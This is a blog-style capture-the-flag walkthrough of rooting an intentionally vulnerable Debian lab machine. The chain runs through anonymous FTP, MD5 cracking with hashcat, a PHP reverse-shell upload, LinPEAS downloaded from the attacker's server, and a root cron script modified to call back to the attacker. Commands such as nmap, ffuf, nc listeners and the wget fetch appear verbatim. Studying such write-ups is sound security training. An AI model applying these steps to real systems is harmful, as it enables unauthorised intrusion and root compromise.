September 9, 2026
From Anonymous FTP to Root: A Complete VAPT Walkthrough of the Academy Linux Machine
Disclaimer: This assessment was performed against an intentionally vulnerable machine inside my own VMware lab for educational andβ¦
By Najeebparkar
15 min read
Disclaimer:_ This assessment was performed against an intentionally vulnerable machine inside my own VMware lab for educational and cybersecurity training purposes. The techniques and commands described here should only be used against systems for which you have explicit authorization._
Introduction
As part of my practical penetration-testing journey, I recently completed another vulnerable-machine challenge where I went beyond simply obtaining an initial shell.
Lab Environment
The vulnerable target was a Debian GNU/Linux 10 machine running inside VMware.
Target
Hostname: academy
Operating System: Debian GNU/Linux 10
Target IP: 192.168.234.132Hostname: academy
Operating System: Debian GNU/Linux 10
Target IP: 192.168.234.132Attacker
OS: Kali Linux
Attacker IP: 192.168.234.129OS: Kali Linux
Attacker IP: 192.168.234.129Both machines were connected to the same private VMware network.
Host Discovery
Before performing a detailed scan, I wanted to confirm which machines were active on the local network.
From Kali Linux, I performed a host discovery scan:
sudo nmap -sn 192.168.234.0/24sudo nmap -sn 192.168.234.0/24The scan identified several active VMware hosts.
The important result was:
Nmap scan report for 192.168.234.132
Host is up
MAC Address: 00:0C:29:CD:68:55 (VMware)Nmap scan report for 192.168.234.132
Host is up
MAC Address: 00:0C:29:CD:68:55 (VMware)This confirmed that my Debian machine was reachable from Kali.
Discovery result
Target IP: 192.168.234.132
Status: UPTarget IP: 192.168.234.132
Status: UPAt this point, I moved from discovery to enumeration.
Full Port and Service Enumeration
The next step was to understand the attack surface.
Instead of scanning only the common ports, I performed a full TCP port scan with service and OS detection:
sudo nmap -A -p- 192.168.234.132sudo nmap -A -p- 192.168.234.132The scan revealed three particularly interesting services.
The most interesting finding was on FTP.
Nmap reported:
21/tcp open ftp vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowed21/tcp open ftp vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowedEven more importantly, Nmap showed that a file called:
note.txtnote.txtwas available through the anonymous FTP account.
This immediately became one of my primary investigation paths.
Vulnerability Research and Google OSINT
After identifying the service versions, I started researching them.
I used Google to search for information about:
- vsFTPd 3.0.3
- OpenSSH 7.9p1
- Apache 2.4.38
This was an important learning experience for me.
Instead of relying exclusively on automated scanners, I used Google as an OSINT and research tool to understand what I was actually looking at.
However, the Nmap output had already provided a much more direct lead:
Anonymous FTP access was enabled.
So rather than spending too much time looking for a theoretical version-based exploit, I decided to investigate the exposed FTP service first.
Anonymous FTP Access
I connected to the FTP service:
ftp 192.168.234.132ftp 192.168.234.132When prompted for a username, I entered:
anonymousanonymousThe server responded:
230 Login successful.230 Login successful.This confirmed that anonymous FTP access was enabled.
I then listed the available files:
ftp> lsftp> lsThe server returned:
note.txtnote.txtThis was immediately interesting.
I attempted to inspect the file directly:
ftp> cat note.txtftp> cat note.txtHowever, FTP does not provide cat in the same way a normal Linux shell does.
So I downloaded the file instead:
ftp> get note.txtftp> get note.txtThe file transferred successfully.
I then inspected it locally:
cat note.txtcat note.txtAnd this turned out to be one of the most important discoveries in the entire assessment.
Information Disclosure Through note.txt
The note.txt file contained information related to the Academy web application and a database record.
It included a student registration number and what appeared to be a password hash.
The note also contained a warning about password reuse.
That immediately gave me a new attack hypothesis:
If I can recover the plaintext password from this hash, the same credentials may work somewhere else on the target.
This is where the attack began to move from simple enumeration toward credential-based access.
Identifying the Hash
The discovered hash was:
cd73502828457d15655bbd7a63fb0bc8cd73502828457d15655bbd7a63fb0bc8I used a hash-identification utility to determine the likely hashing algorithm.
The result indicated:
MD5MD5MD5 is an old and cryptographically broken hashing algorithm and should not be used for storing passwords.
More importantly for this lab, I now had a single MD5 hash and could test whether it was a weak/common password.
Cracking the MD5 Hash
I created a file containing the hash and prepared it for Hashcat.
I then used:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txthashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtHere:
-m 0-m 0specifies MD5.
The wordlist used was:
rockyou.txtrockyou.txt
Hashcat successfully recovered the plaintext.
The result was a very weak password.
I am intentionally not publishing the recovered password in this write-up because there is no reason to expose working credentials, even though this was a controlled CTF/lab environment.
This was another important lesson:
A strong password policy and modern password hashing are both important.
The application was using an outdated hashing algorithm and a weak password, making credential recovery significantly easier.
Looking for Where the Credentials Could Be Used
At this point, I had:
- A username/registration identifier
- A recovered password
- An HTTP service running on port 80
So I started investigating the web application.
I opened:
http://192.168.234.132http://192.168.234.132Initially, I encountered the default Apache page.
That told me that Apache was running, but the main web root did not immediately expose the application.
I therefore moved to directory enumeration.
Web Directory Enumeration with FFUF
I used FFUF to discover hidden directories and files:
ffuf -u http://192.168.234.132/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txtffuf -u http://192.168.234.132/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txtThe scan eventually revealed several interesting paths.
The two most important findings were:
/academy
/phpmyadmin/academy
/phpmyadminThere was also:
/server-status/server-statusbut it returned:
403 Forbidden403 ForbiddenThe /academy directory immediately stood out.
This was especially interesting because the information discovered earlier in note.txt also referred to an Academy-related application.
So the pieces were beginning to connect.
Discovering the Academy Application
I opened:
http://192.168.234.132/academyhttp://192.168.234.132/academyInstead of the default Apache page, I found an online course/student registration application.
There was a login interface.
This was the moment when I tested my earlier hypothesis:
Could the credentials recovered from the leaked database information be reused on the web application?
I entered the recovered credentials.
The login was successful.
This confirmed that the credentials were valid for the Academy application.
Authenticated Web Application Enumeration
After authentication, I inspected the available functionality.
One feature immediately caught my attention:
Profile Photo Upload
There was an option to upload a profile picture.
Whenever I encounter a file-upload feature during a VAPT assessment, I don't immediately assume that it is vulnerable.
First, I want to understand:
- What file types are accepted?
- Is the file actually uploaded?
- Where is it stored?
- Does it get rendered?
- Does the server execute uploaded files?
So I started with a harmless image.
Testing the File Upload Functionality
I uploaded a normal image first.
The upload succeeded.
More importantly, the uploaded image was reflected on my profile page.
This confirmed that the application was accepting user-controlled files and serving them back through the web application.
Because the application appeared to be PHP-based, I considered whether the upload functionality could potentially be abused to execute PHP code.
This was the point where I moved from functionality testing to controlled exploit validation.
15. Preparing a PHP Reverse Shell
I researched PHP reverse shells using Google.
During my research, I found a commonly referenced PHP reverse-shell implementation associated with PentestMonkey.
I saved the code into:
shell.phpshell.phpI then edited the important connection parameters to match my lab.
The reverse shell was configured to connect back to:
This was a controlled callback from the vulnerable machine to my Kali VM.
Starting the Listener
Before uploading the PHP payload, I started a Netcat listener:
nc -lvnp 9999nc -lvnp 9999The listener showed:
First Failed Attempt
I uploaded the PHP file through the profile-picture upload functionality.
The upload itself succeeded.
However, I didn't receive a shell.
At first, I wasn't sure whether:
- The upload directory prevented execution
- PHP execution was disabled
- The application renamed the file
- The file was not being executed
- My payload configuration was incorrect
I went back and checked the payload.
This is where I found my mistake.
I had configured the wrong IP address in the reverse shell.
Important lesson
A reverse shell depends on the callback address being correct.
Even if the payload is uploaded successfully, a wrong callback address means:
Payload executes
β
Attempts connection
β
Wrong destination
β
No shellPayload executes
β
Attempts connection
β
Wrong destination
β
No shellI corrected the IP address to my Kali machine:
and tried again.
Successful Initial Access
This time, the listener received a connection.
The reverse shell returned system information:
Linux academy 4.19.0-16-amd64
x86_64 GNU/LinuxLinux academy 4.19.0-16-amd64
x86_64 GNU/LinuxSo I had successfully obtained an initial foothold as:
This was not root.
That distinction was important.
I had compromised the web application, but the operating system was still not fully compromised.
Initial Post-Exploitation Enumeration
I started with basic commands to understand the environment.
I also checked whether sudo was available:
sudosudoThe shell returned:
Trying:
sudo lssudo lsalso failed.
This showed me that I could not simply use sudo to elevate privileges.
So I needed another approach.
Privilege Escalation Enumeration with LinPEAS
At this stage, my objective changed:
Find a path from www-data to a higher-privileged user and eventually root.
I decided to use LinPEAS, a popular Linux privilege-escalation enumeration script.
I downloaded the script on Kali and placed it into a directory called:
ctfctf
I then started a temporary HTTP server on Kali:
sudo python3 -m http.server 111sudo python3 -m http.server 111
This allowed the compromised machine to retrieve the file from my Kali machine.
Transferring LinPEAS to the Target
From the compromised shell, I initially attempted to download the script from the Kali HTTP server.
However, I encountered:
Permission deniedPermission deniedThis was another useful practical lesson.
The current working directory did not provide suitable write permissions.
Instead of fighting the permission issue, I moved to:
cd /tmpcd /tmpThe /tmp directory is commonly writable by normal users.
I then downloaded LinPEAS:
wget http://192.168.234.129:111/linpeas.shwget http://192.168.234.129:111/linpeas.shThe transfer succeeded.
I made the script executable:
chmod +x linpeas.shchmod +x linpeas.shand executed it:
./linpeas.sh./linpeas.sh
LinPEAS Findings
LinPEAS produced a very large amount of information.
Rather than reading every line, I focused on the categories most relevant to privilege escalation:
- Passwords
- Configuration files
- User accounts
- Writable files
- Backup files
- Scheduled jobs
- SUID binaries
- Credentials
- Interesting scripts
One finding immediately stood out.
LinPEAS identified a password inside the Academy application's configuration:
/var/www/html/academy/admin/includes/config.php
/var/www/html/academy/includes/config.php/var/www/html/academy/admin/includes/config.php
/var/www/html/academy/includes/config.phpThe configuration contained a database password.
I am redacting the actual password here.
My_V3ryS3cur3_P4ssMy_V3ryS3cur3_P4ssThe output also identified an interesting backup script:
/home/grimmie/backup.sh/home/grimmie/backup.sh
The permissions were particularly interesting:
-rwxr-xr-x 1 grimmie administrator ... /home/grimmie/backup.sh-rwxr-xr-x 1 grimmie administrator ... /home/grimmie/backup.shAt this point, I had two important leads:
Database credentials
+
grimmie user's backup.shDatabase credentials
+
grimmie user's backup.shPivoting to the Grimmie User
I tested the discovered credentials through SSH.
The target was already running SSH on port 22, as discovered during the initial Nmap scan.
I authenticated as:
grimmiegrimmieThe login succeeded.
I then verified my identity:
whoamiwhoamiThe result was:
grimmiegrimmieThis represented another major step in the attack chain:
www-data
β
Credential discovery
β
SSH
β
grimmiewww-data
β
Credential discovery
β
SSH
β
grimmieHowever, I was still not root.
Investigating backup.sh
While logged in as grimmie, I listed the home directory:
lsls
The interesting file was:
backup.shbackup.shI inspected it:
cat backup.shcat backup.sh
The script performed a backup of the Academy application's files and created:
/tmp/backup.zip/tmp/backup.zipThe important part was that the script operated on application files and appeared to be designed for automated execution.
That raised an important privilege-escalation question:
Who executes this script, and how often?
If a script controlled by a lower-privileged user is executed automatically by root, it can potentially become a privilege-escalation path.
Checking Cron
My first instinct was to check the user's crontab:
crontab -lcrontab -lThe result was:
no crontab for grimmieno crontab for grimmieI also attempted to inspect the root crontab, but sudo was unavailable:
sudo: command not foundsudo: command not foundI then looked at systemd timers:
systemctl list-timerssystemctl list-timersThis displayed several scheduled system tasks.
However, I still didn't have a clear answer about the execution frequency of backup.sh.
Rather than guessing, I decided to monitor the system directly.
Discovering pspy
I used another useful Linux post-exploitation tool:
pspy
pspy allows a compromised user to monitor processes and commands being executed on a Linux system without requiring root privileges.
I downloaded pspy onto Kali, moved it into my CTF tools directory, and started another temporary HTTP server.
I then downloaded the tool onto the target and executed it.
Initially, I didn't see anything immediately useful.
So I waited.
This turned out to be the right decision.
Watching the System Execute backup.sh
Eventually, pspy captured something very interesting.
The output showed:
/usr/sbin/CRON -f/usr/sbin/CRON -ffollowed by:
/bin/sh -c /home/grimmie/backup.sh/bin/sh -c /home/grimmie/backup.shand:
/bin/bash /home/grimmie/backup.sh/bin/bash /home/grimmie/backup.shMost importantly, pspy reported:
UID=0UID=0for the processes.
That was the breakthrough.
The process chain effectively showed:
UID=0
|
+-- /usr/sbin/CRON
|
+-- /bin/sh -c /home/grimmie/backup.sh
|
+-- /bin/bash /home/grimmie/backup.shUID=0
|
+-- /usr/sbin/CRON
|
+-- /bin/sh -c /home/grimmie/backup.sh
|
+-- /bin/bash /home/grimmie/backup.shThe script was being executed by:
rootrootConfirming the Execution Pattern
I didn't want to rely on a single observation.
So I waited for the next execution.
pspy again showed:
/usr/sbin/CRON -f/usr/sbin/CRON -ffollowed by:
/bin/sh -c /home/grimmie/backup.sh/bin/sh -c /home/grimmie/backup.shand:
/bin/bash /home/grimmie/backup.sh/bin/bash /home/grimmie/backup.shThe same sequence appeared repeatedly.
The executions occurred approximately once every minute.
This gave me a very important understanding of the system:
Every minute
β
Cron executes backup.sh
β
Executed with UID 0
β
Root privilegesEvery minute
β
Cron executes backup.sh
β
Executed with UID 0
β
Root privilegesI had now identified a viable privilege-escalation path.
Privilege Escalation Through the Root-Executed Script
At this point, I had control over the script path:
/home/grimmie/backup.sh/home/grimmie/backup.shand had confirmed through pspy that it was executed by root.
The important security issue was therefore not simply:
"There is a backup script."
The actual issue was:
A script writable/modifiable by a lower-privileged user was being executed automatically with root privileges.
That creates a dangerous privilege boundary violation.
In a real environment, this would allow a compromised low-privileged account to potentially execute arbitrary commands with root privileges.
For this controlled lab, I used that execution path to demonstrate privilege escalation.
I searched for a bash reverseshell script in google and got a interesting payload.
Preparing the Reverse Shell
Since the script executed every minute, I prepared a listener on Kali:
nc -lvnp 9991nc -lvnp 9991
The listener waited for the target to establish a callback.
I then modified the lab script to execute a Bash reverse-shell command that connected back to my Kali machine.
The callback was configured for:
Kali: 192.168.234.129
Port: 9991Kali: 192.168.234.129
Port: 9991The reason I started the listener before waiting for the scheduled execution was simple:
backup.sh executes
β
Root executes payload
β
Target connects to Kali
β
Netcat catches connectionbackup.sh executes
β
Root executes payload
β
Target connects to Kali
β
Netcat catches connectionSuccessful Privilege Escalation
After saving the modified script, I waited for the next scheduled execution.
The listener received a connection:
connect to [192.168.234.129] from (UNKNOWN) [192.168.234.132]connect to [192.168.234.129] from (UNKNOWN) [192.168.234.132]The shell initially displayed a terminal-related warning:
bash: cannot set terminal process group
bash: no job control in this shellbash: cannot set terminal process group
bash: no job control in this shellThis is common with basic reverse shells and does not necessarily indicate failure.
I then checked the current user:
whoamiwhoamiThe result was:
Privilege escalation successful.
My access path had now become:
www-data
β
grimmie
β
Rootwww-data
β
grimmie
β
RootCapturing the Flag
With root access obtained, I listed the current directory and found:
flag.txtflag.txtI read it:
cat flag.txtcat flag.txtThe flag confirmed that the machine had been successfully rooted.
The message essentially confirmed:
The machine had been successfully compromised and rooted.
This marked the completion of the challenge.
Complete Attack Chain
Looking back at the entire assessment, the compromise was not caused by a single vulnerability.
It was a chain of weaknesses:
RECON
|
v
Host Discovery
|
v
Nmap Enumeration
|
+------------+-------------+
| | |
FTP SSH HTTP
| | |
v | v
Anonymous Login | Web Enumeration
| | |
v | v
note.txt | /academy
| | |
v | v
MD5 Hash | Credential Reuse
| | |
v | v
Hashcat | Authenticated
| | Application
v | |
Weak Password | v
| | File Upload
+------------+ |
| v
| PHP Reverse Shell
| |
| v
| www-data
| |
| v
| LinPEAS
| |
| v
| Credential Discovery
| |
| v
| SSH Access
| |
| v
| grimmie
| |
| v
| backup.sh
| |
| v
| pspy
| |
| v
| Root Cron Execution
| |
| v
| Privilege Escalation
| |
| v
| ROOT
| |
| v
| flag.txtRECON
|
v
Host Discovery
|
v
Nmap Enumeration
|
+------------+-------------+
| | |
FTP SSH HTTP
| | |
v | v
Anonymous Login | Web Enumeration
| | |
v | v
note.txt | /academy
| | |
v | v
MD5 Hash | Credential Reuse
| | |
v | v
Hashcat | Authenticated
| | Application
v | |
Weak Password | v
| | File Upload
+------------+ |
| v
| PHP Reverse Shell
| |
| v
| www-data
| |
| v
| LinPEAS
| |
| v
| Credential Discovery
| |
| v
| SSH Access
| |
| v
| grimmie
| |
| v
| backup.sh
| |
| v
| pspy
| |
| v
| Root Cron Execution
| |
| v
| Privilege Escalation
| |
| v
| ROOT
| |
| v
| flag.txtTools Used
This challenge allowed me to work with a much wider range of tools than my earlier labs.
Reconnaissance
- Nmap
ip- Google / OSINT research
Enumeration
- Nmap service detection
- FTP
- FFUF
- Web browser
Credential Discovery
- Hash Identifier
- Hashcat
- RockYou wordlist
Exploitation
- PHP reverse shell
- Netcat
Post-Exploitation
- Linux command-line utilities
- LinPEAS
- SSH
Privilege Escalation
- pspy
- Cron enumeration
- Scheduled-task analysis
Final Validation
whoamicat- Flag verification
Final Takeaway
This challenge was one of the most valuable practical exercises I've completed so far because it forced me to think beyond a single exploit.
The machine was not compromised through one massive vulnerability.
Instead, the compromise was built from a chain of smaller weaknesses:
Anonymous FTP β Information Disclosure β Weak Password β Credential Reuse β Web Upload β Reverse Shell β Credential Discovery β SSH β Root Cron Job β Privilege Escalation β Root
Every step provided information that influenced the next step.
The biggest lesson I am taking from this project is:
Penetration testing is a process of asking the right question after every discovery.
When I found FTP, I asked:
"What can I access?"
When I found note.txt, I asked:
"What information does this expose?"
When I found the hash, I asked:
"Can this password be recovered?"
When I found the web application, I asked:
"Can these credentials be reused?"
When I found the upload feature, I asked:
"Can the server execute what I upload?"
When I obtained www-data, I asked:
"How can I move higher?"
When LinPEAS found backup.sh, I asked:
"Who executes this script?"
And when pspy showed:
UID=0UID=0I knew I had found the privilege-escalation path.
Finally:
www-data
β
grimmie
β
root
β
flag.txtwww-data
β
grimmie
β
root
β
flag.txtChallenge completed.
My next goal is to continue building more complex VAPT labs and improve my ability to move from raw enumeration results β vulnerability hypothesis β validation β exploitation β privilege escalation β detection and remediation.
This challenge wasn't just about capturing a flag.
It was about understanding why each step worked and how one weakness could lead to another.